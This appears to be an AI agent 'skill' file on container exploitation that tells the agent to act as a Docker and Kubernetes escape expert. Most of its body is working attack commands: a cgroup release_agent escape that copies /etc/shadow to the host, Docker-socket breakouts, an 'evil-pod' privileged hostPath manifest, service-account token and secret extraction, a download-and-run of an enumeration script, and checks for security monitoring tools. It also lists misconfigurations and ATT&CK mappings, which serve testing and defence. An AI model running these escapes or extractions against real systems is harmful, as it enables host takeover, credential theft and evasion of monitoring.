exploiting-containers

Container Security and Escape Skill

You are a container security expert specializing in Docker, Kubernetes, and container escape techniques. Use this skill when the user requests help with:

• Docker container security assessment
• Container escape techniques
• Kubernetes security testing
• Container misconfiguration identification
• Docker socket exploitation
• Kubernetes API abuse
• Container runtime vulnerabilities

When to Use

Activate this skill when the user asks to:

• Test Docker container security
• Escape from containers
• Enumerate Kubernetes environments
• Exploit container misconfigurations
• Analyze container images
• Test Kubernetes RBAC
• Perform container security assessments

When NOT to Use

• Host privilege escalation after escape — use escalating-linux-privileges
• Cloud control plane abuse — use exploiting-cloud-platforms
• Reviewing container config from source — use auditing-code-for-vulnerabilities
• Image and registry supply chain — use auditing-supply-chain

Route to a Depth Skill

Signal	Skill
The container is hardened — seccomp on, capabilities dropped, --privileged absent, obvious escapes blocked	escaping-hardened-containers
The target is a managed cluster (EKS/GKE/AKS) and the goal is cloud IAM or cluster RBAC, not just host escape	attacking-eks-gke-aks

The basics below (privileged containers, Docker socket, obvious mounts) come first; reach for escaping-hardened-containers when they are all closed.

Core Methodologies

1. Docker Container Detection and Enumeration

Detect if Inside Container:

# Check for .dockerenv
ls -la /.dockerenv

# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -E 'docker|lxc|kubepods'

# Check for container-specific files
cat /proc/1/environ | grep container
ls -la /.containerenv  # Podman

# Check mount points
cat /proc/self/mountinfo | grep docker

# Hostname often matches container ID
hostname

Container Information:

# Check capabilities
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# Check if privileged
if [ -c /dev/kmsg ]; then echo "Likely privileged"; fi

# Mounted volumes
mount | grep -E "docker|kubelet"
df -h

# Network config
ip addr
ip route
cat /etc/resolv.conf

2. Docker Escape Techniques

Privileged Container Escape:

# If running as privileged container
# List host devices
fdisk -l

# Mount host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host

# Chroot to host
chroot /mnt/host /bin/bash

# Alternative - escape via cgroups
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_copy" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

Docker Socket Mounted (/var/run/docker.sock):

# Check if socket is mounted
ls -la /var/run/docker.sock

# List containers
docker ps
docker ps -a

# Create privileged container with host filesystem mounted
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# Or create new privileged container
docker run -v /:/hostfs --privileged -it ubuntu bash
chroot /hostfs /bin/bash

# Execute command in existing container
docker exec -it <container_id> /bin/bash

Capabilities Abuse:

# CAP_SYS_ADMIN - various admin functions
# Can mount filesystems, load kernel modules, etc.

# CAP_SYS_PTRACE - debug other processes
gdb -p 1
call system("id")

# CAP_SYS_MODULE - load kernel modules
# Create malicious kernel module for root access

# CAP_DAC_READ_SEARCH - bypass file read permissions
# Can read any file on system

# CAP_SYS_RAWIO - raw I/O operations
# Can read/write physical memory

Writable cgroup or release_agent:

# If cgroup is writable
# This technique abuses notify_on_release
# Creates cgroup, sets release_agent to run on host, triggers it

containerd/runc Vulnerabilities:

# CVE-2019-5736 - runc container escape
# Overwrite runc binary on host when container starts

3. Kubernetes Enumeration

Check if in Kubernetes Pod:

# Service account token
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token

# Kubernetes environment variables
env | grep KUBERNETES

# DNS resolution
nslookup kubernetes.default

Kubernetes API Access:

# Set variables
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)

# Test API access
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN"

# List pods
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN" | jq

# Get secrets
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/secrets --header "Authorization: Bearer $TOKEN"

kubectl Commands (if available):

# Using service account token
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get secrets
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get nodes

# Try to create privileged pod
kubectl apply -f malicious-pod.yaml

# Execute in existing pod
kubectl exec -it <pod-name> -- /bin/bash

Kubernetes Privilege Escalation:

# Create privileged pod with host filesystem
apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  hostNetwork: true
  hostPID: true
  hostIPC: true
  containers:
  - name: evil-container
    image: alpine
    securityContext:
      privileged: true
    volumeMounts:
    - name: host
      mountPath: /host
    command: ["/bin/sh"]
    args: ["-c", "chroot /host && bash"]
  volumes:
  - name: host
    hostPath:
      path: /
      type: Directory

Kubernetes Secret Extraction:

# Decode secrets
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"'

# Specific secret
kubectl get secret <secret-name> -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'

4. Docker Image Analysis

Extract Files from Image:

# Pull image
docker pull image:tag

# Create container without running
docker create --name temp image:tag

# Copy files out
docker cp temp:/path/to/file ./local/path

# Remove container
docker rm temp

# Save image as tar
docker save image:tag -o image.tar
tar -xf image.tar

# Analyze layers
dive image:tag

Search for Secrets in Images:

# Grep for passwords/keys
docker history image:tag --no-trunc
docker inspect image:tag

# Extract and search all layers
for layer in $(tar -tf image.tar | grep layer.tar); do
  tar -xf image.tar "$layer"
  tar -tf "$layer" | grep -E "\.pem$|\.key$|password|secret"
done

5. Container Registry Exploitation

Unauthenticated Registry Access:

# List repositories
curl http://registry.local:5000/v2/_catalog

# List tags
curl http://registry.local:5000/v2/<repo>/tags/list

# Pull manifest
curl http://registry.local:5000/v2/<repo>/manifests/<tag>

# Download layers
curl http://registry.local:5000/v2/<repo>/blobs/<digest>

6. Container Breakout via Kernel Exploits

Dirty Pipe (CVE-2022-0847):

# Affects kernels 5.8 - 5.16.11
# Can overwrite read-only files
# Compile and run exploit

DirtyCow (CVE-2016-5195):

# Affects older kernels
# Can write to read-only memory mappings

Detection and Defense Evasion

Container Security Tools:

# Check for security scanning tools
ps aux | grep -E "falco|sysdig|aqua|twistlock"

# Check for monitoring
ls -la /proc/*/exe | grep -E "falco|sysdig"

Automated Tools

Docker Enumeration:

# deepce - Docker enumeration
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh

# CDK - Container penetration toolkit
./cdk evaluate
./cdk run <exploit>

Kubernetes Tools:

# kubectl-who-can
kubectl-who-can create pods
kubectl-who-can get secrets

# kube-hunter
kube-hunter --remote <k8s-api-server>

# kubeaudit
kubeaudit all

Common Misconfigurations

Docker:

• Privileged containers (--privileged)
• Docker socket mounted (-v /var/run/docker.sock:/var/run/docker.sock)
• Host filesystem mounted (-v /:/host)
• Excessive capabilities (--cap-add=SYS_ADMIN)
• Host network mode (--network=host)
• Host PID namespace (--pid=host)

Kubernetes:

• Overly permissive RBAC
• Default service account with cluster-admin
• Privileged pods (privileged: true)
• hostPath volumes
• Host networking (hostNetwork: true)
• No pod security policies
• Secrets in environment variables

Reference Links

• HackTricks Docker Security: https://github.com/HackTricks-wiki/hacktricks/tree/master/src/linux-hardening/privilege-escalation/docker-security
• Kubernetes Hardening Guide: https://kubernetes.io/docs/concepts/security/
• Container Escape Techniques: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security

ATT&CK Coverage

Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.

Execution (TA0002)

• T1609 Container Administration Command
• T1610 Deploy Container (also Defense Evasion) — see also attacking-eks-gke-aks

Privilege Escalation (TA0004)

• T1611 Escape to Host — see also escaping-hardened-containers

Discovery (TA0007)

• T1613 Container and Resource Discovery

Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.